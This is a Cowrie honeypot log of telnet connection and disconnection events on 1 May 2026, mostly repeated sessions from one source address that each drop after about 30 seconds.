{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":50742,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0e1a9e83710","protocol":"telnet","message":"New connection: 164.68.118.26:50742 (10.17.0.5:23) [session: a0e1a9e83710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:49.051022Z"}
{"eventid":"cowrie.session.closed","duration":30.999330520629883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:49.187832Z","src_ip":"164.68.118.26","session":"9368240ff6e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.45269274711609,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:49.346635Z","src_ip":"45.63.42.31","session":"5544c27e7388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.08295750617981,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:50.228367Z","src_ip":"91.230.168.176","session":"278d5f87e616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55968,"dst_ip":"10.17.0.5","dst_port":23,"session":"e489a9876423","protocol":"telnet","message":"New connection: 164.68.118.26:55968 (10.17.0.5:23) [session: e489a9876423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:50.556685Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":56394,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7920effa0b","protocol":"telnet","message":"New connection: 164.68.118.26:56394 (10.17.0.5:23) [session: 8f7920effa0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:50.645486Z"}
{"eventid":"cowrie.session.closed","duration":30.335514545440674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:51.089591Z","src_ip":"164.68.118.26","session":"d6257cb0ebb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":58656,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad798bd19bb4","protocol":"telnet","message":"New connection: 164.68.118.26:58656 (10.17.0.5:23) [session: ad798bd19bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:51.193956Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":58898,"dst_ip":"10.17.0.5","dst_port":23,"session":"34660a28810a","protocol":"telnet","message":"New connection: 164.68.118.26:58898 (10.17.0.5:23) [session: 34660a28810a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:51.268739Z"}
{"eventid":"cowrie.session.closed","duration":31.533647537231445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:51.642854Z","src_ip":"173.198.194.106","session":"3dc32e3c9c55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773709297180176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:53.191351Z","src_ip":"164.68.118.26","session":"a18be5086950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.460232496261597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:53.387043Z","src_ip":"164.68.118.26","session":"2177743de784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":56630,"dst_ip":"10.17.0.5","dst_port":23,"session":"6009b291396c","protocol":"telnet","message":"New connection: 164.68.118.26:56630 (10.17.0.5:23) [session: 6009b291396c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:53.720992Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39696,"dst_ip":"10.17.0.5","dst_port":23,"session":"22d9eddf7866","protocol":"telnet","message":"New connection: 164.68.118.26:39696 (10.17.0.5:23) [session: 22d9eddf7866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:53.881292Z"}
{"eventid":"cowrie.session.closed","duration":30.856020212173462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:54.416530Z","src_ip":"164.68.118.26","session":"6776a0c09beb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13876962661743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:54.640471Z","src_ip":"164.68.118.26","session":"fcc32c8a4b1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":37368,"dst_ip":"10.17.0.5","dst_port":23,"session":"64672982428c","protocol":"telnet","message":"New connection: 173.198.194.106:37368 (10.17.0.5:23) [session: 64672982428c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:54.786080Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43480,"dst_ip":"10.17.0.5","dst_port":23,"session":"a45926bb0019","protocol":"telnet","message":"New connection: 164.68.118.26:43480 (10.17.0.5:23) [session: a45926bb0019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:54.930860Z"}
{"eventid":"cowrie.session.closed","duration":31.024046897888184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:55.088349Z","src_ip":"164.68.118.26","session":"ac5214b10a00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44458,"dst_ip":"10.17.0.5","dst_port":23,"session":"de65b73ba9ae","protocol":"telnet","message":"New connection: 164.68.118.26:44458 (10.17.0.5:23) [session: de65b73ba9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:55.181004Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46280,"dst_ip":"10.17.0.5","dst_port":23,"session":"f088a532c8a1","protocol":"telnet","message":"New connection: 164.68.118.26:46280 (10.17.0.5:23) [session: f088a532c8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:55.632649Z"}
{"eventid":"cowrie.session.closed","duration":30.63964605331421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:56.466056Z","src_ip":"164.68.118.26","session":"124cf3058e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49720,"dst_ip":"10.17.0.5","dst_port":23,"session":"994dbd15addf","protocol":"telnet","message":"New connection: 164.68.118.26:49720 (10.17.0.5:23) [session: 994dbd15addf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:56.497914Z"}
{"eventid":"cowrie.session.closed","duration":30.874281644821167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:57.164503Z","src_ip":"164.68.118.26","session":"08fc820b4733","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.555497884750366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:57.516068Z","src_ip":"164.68.118.26","session":"5e59e11f22a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":56064,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fe8b3adfec4","protocol":"telnet","message":"New connection: 164.68.118.26:56064 (10.17.0.5:23) [session: 6fe8b3adfec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:58.107119Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":58158,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef00bf5b26d9","protocol":"telnet","message":"New connection: 164.68.118.26:58158 (10.17.0.5:23) [session: ef00bf5b26d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:58.692693Z"}
{"eventid":"cowrie.session.closed","duration":31.543666124343872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:58.912139Z","src_ip":"164.68.118.26","session":"37e59368d594","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68179941177368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:59.443981Z","src_ip":"164.68.118.26","session":"ad2726b39f0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":32820,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c3d0cdc7ec5","protocol":"telnet","message":"New connection: 164.68.118.26:32820 (10.17.0.5:23) [session: 6c3d0cdc7ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:59.496318Z"}
{"eventid":"cowrie.session.closed","duration":31.45930552482605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:59.577424Z","src_ip":"164.68.118.26","session":"1339424f2265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33418,"dst_ip":"10.17.0.5","dst_port":23,"session":"322856d34a26","protocol":"telnet","message":"New connection: 164.68.118.26:33418 (10.17.0.5:23) [session: 322856d34a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:59.654758Z"}
{"eventid":"cowrie.session.closed","duration":31.42748188972473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:59.943173Z","src_ip":"164.68.118.26","session":"0b4c0037eeef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35094,"dst_ip":"10.17.0.5","dst_port":23,"session":"42fe97b0efdb","protocol":"telnet","message":"New connection: 164.68.118.26:35094 (10.17.0.5:23) [session: 42fe97b0efdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:00.124923Z"}
{"eventid":"cowrie.session.closed","duration":30.968350648880005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:00.140572Z","src_ip":"164.68.118.26","session":"186f7d4eb0f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56558,"dst_ip":"10.17.0.5","dst_port":23,"session":"d32c8c2bc8a7","protocol":"telnet","message":"New connection: 45.63.42.31:56558 (10.17.0.5:23) [session: d32c8c2bc8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:00.290010Z"}
{"eventid":"cowrie.session.closed","duration":31.47365403175354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:00.515679Z","src_ip":"173.198.194.106","session":"a54223aa34ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":37994,"dst_ip":"10.17.0.5","dst_port":23,"session":"67bf85653af1","protocol":"telnet","message":"New connection: 164.68.118.26:37994 (10.17.0.5:23) [session: 67bf85653af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:00.845013Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.179","src_port":58275,"dst_ip":"159.203.135.109","dst_port":23,"session":"74dbcd2e678b","protocol":"telnet","message":"New connection: 91.230.168.179:58275 (159.203.135.109:23) [session: 74dbcd2e678b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:01.055421Z"}
{"eventid":"cowrie.session.closed","duration":0.013282299041748047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:01.068564Z","src_ip":"91.230.168.179","session":"74dbcd2e678b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31763005256653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:01.116762Z","src_ip":"164.68.118.26","session":"fb6abeffb160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39230,"dst_ip":"10.17.0.5","dst_port":23,"session":"27c7a1a8edb3","protocol":"telnet","message":"New connection: 164.68.118.26:39230 (10.17.0.5:23) [session: 27c7a1a8edb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:01.187051Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.177","src_port":40583,"dst_ip":"159.203.135.109","dst_port":23,"session":"16e97bd2311e","protocol":"telnet","message":"New connection: 91.230.168.177:40583 (159.203.135.109:23) [session: 16e97bd2311e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:01.214236Z"}
{"eventid":"cowrie.session.closed","duration":30.345836400985718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:02.125484Z","src_ip":"164.68.118.26","session":"4189b594af73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43700,"dst_ip":"10.17.0.5","dst_port":23,"session":"01fc40f70339","protocol":"telnet","message":"New connection: 164.68.118.26:43700 (10.17.0.5:23) [session: 01fc40f70339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:02.442460Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":45508,"dst_ip":"10.17.0.5","dst_port":23,"session":"cabd3450b904","protocol":"telnet","message":"New connection: 173.198.194.106:45508 (10.17.0.5:23) [session: cabd3450b904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:02.497027Z"}
{"eventid":"cowrie.session.closed","duration":31.321919441223145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:02.668973Z","src_ip":"173.198.194.106","session":"edb9754dff89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":45838,"dst_ip":"10.17.0.5","dst_port":23,"session":"972b0b209890","protocol":"telnet","message":"New connection: 164.68.118.26:45838 (10.17.0.5:23) [session: 972b0b209890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:02.973226Z"}
{"eventid":"cowrie.session.closed","duration":30.72028136253357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:03.050838Z","src_ip":"164.68.118.26","session":"d28fcf7761e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846294403076172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:03.059150Z","src_ip":"164.68.118.26","session":"76106af7aa3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.579930305480957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:03.106216Z","src_ip":"164.68.118.26","session":"e08b8ae78d72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46498,"dst_ip":"10.17.0.5","dst_port":23,"session":"14714bdd29e6","protocol":"telnet","message":"New connection: 164.68.118.26:46498 (10.17.0.5:23) [session: 14714bdd29e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:03.161178Z"}
{"eventid":"cowrie.session.closed","duration":31.255444526672363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:03.243932Z","src_ip":"164.68.118.26","session":"a9a0a4bf5070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":47652,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ff8d919eddd","protocol":"telnet","message":"New connection: 164.68.118.26:47652 (10.17.0.5:23) [session: 1ff8d919eddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:03.499372Z"}
{"eventid":"cowrie.session.closed","duration":31.187301635742188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:03.661503Z","src_ip":"164.68.118.26","session":"a83dd17bcba2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46165680885315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:03.818003Z","src_ip":"164.68.118.26","session":"5aaa4b5ebd5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49340,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a328865301","protocol":"telnet","message":"New connection: 164.68.118.26:49340 (10.17.0.5:23) [session: 87a328865301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:03.905918Z"}
{"eventid":"cowrie.session.closed","duration":3.0069403648376465,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:04.221078Z","src_ip":"91.230.168.177","session":"16e97bd2311e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73450231552124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:05.063432Z","src_ip":"164.68.118.26","session":"246c479051ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21021580696106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:05.086776Z","src_ip":"164.68.118.26","session":"76d3c812e668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32345223426819,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:05.141445Z","src_ip":"164.68.118.26","session":"a2d7b519406a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54012,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb4d5d4c4772","protocol":"telnet","message":"New connection: 164.68.118.26:54012 (10.17.0.5:23) [session: cb4d5d4c4772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:05.198272Z"}
{"eventid":"cowrie.session.closed","duration":31.21290397644043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:05.694721Z","src_ip":"164.68.118.26","session":"53aaee80a3b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.250335454940796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:05.897930Z","src_ip":"173.198.194.106","session":"5edddd1c6277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512358903884888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:06.083043Z","src_ip":"164.68.118.26","session":"52c10e79c8e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38240122795105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:06.342530Z","src_ip":"164.68.118.26","session":"3f7fff00a0ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":47668,"dst_ip":"10.17.0.5","dst_port":23,"session":"2217c9b57d2c","protocol":"telnet","message":"New connection: 173.198.194.106:47668 (10.17.0.5:23) [session: 2217c9b57d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:06.374787Z"}
{"eventid":"cowrie.session.closed","duration":30.805144548416138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:06.474478Z","src_ip":"164.68.118.26","session":"abf636ab0b86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6504864692688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:07.012244Z","src_ip":"173.198.194.106","session":"9d3e6a09025d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33752,"dst_ip":"10.17.0.5","dst_port":23,"session":"4840c37434de","protocol":"telnet","message":"New connection: 164.68.118.26:33752 (10.17.0.5:23) [session: 4840c37434de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:07.255496Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34640,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7e3ccaf2d79","protocol":"telnet","message":"New connection: 164.68.118.26:34640 (10.17.0.5:23) [session: a7e3ccaf2d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:07.487971Z"}
{"eventid":"cowrie.session.closed","duration":34.52153944969177,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:07.723896Z","src_ip":"45.63.42.31","session":"be14a55177a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35554,"dst_ip":"10.17.0.5","dst_port":23,"session":"94e16963621f","protocol":"telnet","message":"New connection: 164.68.118.26:35554 (10.17.0.5:23) [session: 94e16963621f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:07.740823Z"}
{"eventid":"cowrie.session.closed","duration":31.266160011291504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:08.534472Z","src_ip":"164.68.118.26","session":"fe7d2019e4f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":38772,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9b4c31a5a7d","protocol":"telnet","message":"New connection: 164.68.118.26:38772 (10.17.0.5:23) [session: c9b4c31a5a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:08.616372Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40234,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7e504564b9f","protocol":"telnet","message":"New connection: 164.68.118.26:40234 (10.17.0.5:23) [session: d7e504564b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:08.944437Z"}
{"eventid":"cowrie.session.closed","duration":30.929357767105103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:09.225443Z","src_ip":"164.68.118.26","session":"4955dfe869bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":42188,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6bd67dd8944","protocol":"telnet","message":"New connection: 164.68.118.26:42188 (10.17.0.5:23) [session: a6bd67dd8944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:09.386996Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46574,"dst_ip":"10.17.0.5","dst_port":23,"session":"f41acf0cc5e7","protocol":"telnet","message":"New connection: 164.68.118.26:46574 (10.17.0.5:23) [session: f41acf0cc5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:10.519232Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46886,"dst_ip":"10.17.0.5","dst_port":23,"session":"9827cc147936","protocol":"telnet","message":"New connection: 45.63.42.31:46886 (10.17.0.5:23) [session: 9827cc147936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:10.526269Z"}
{"eventid":"cowrie.session.closed","duration":31.022804260253906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:10.558304Z","src_ip":"164.68.118.26","session":"c2e651e92e77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049569606781006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:10.631091Z","src_ip":"164.68.118.26","session":"460326a1bfa1","protocol":"telnet"}
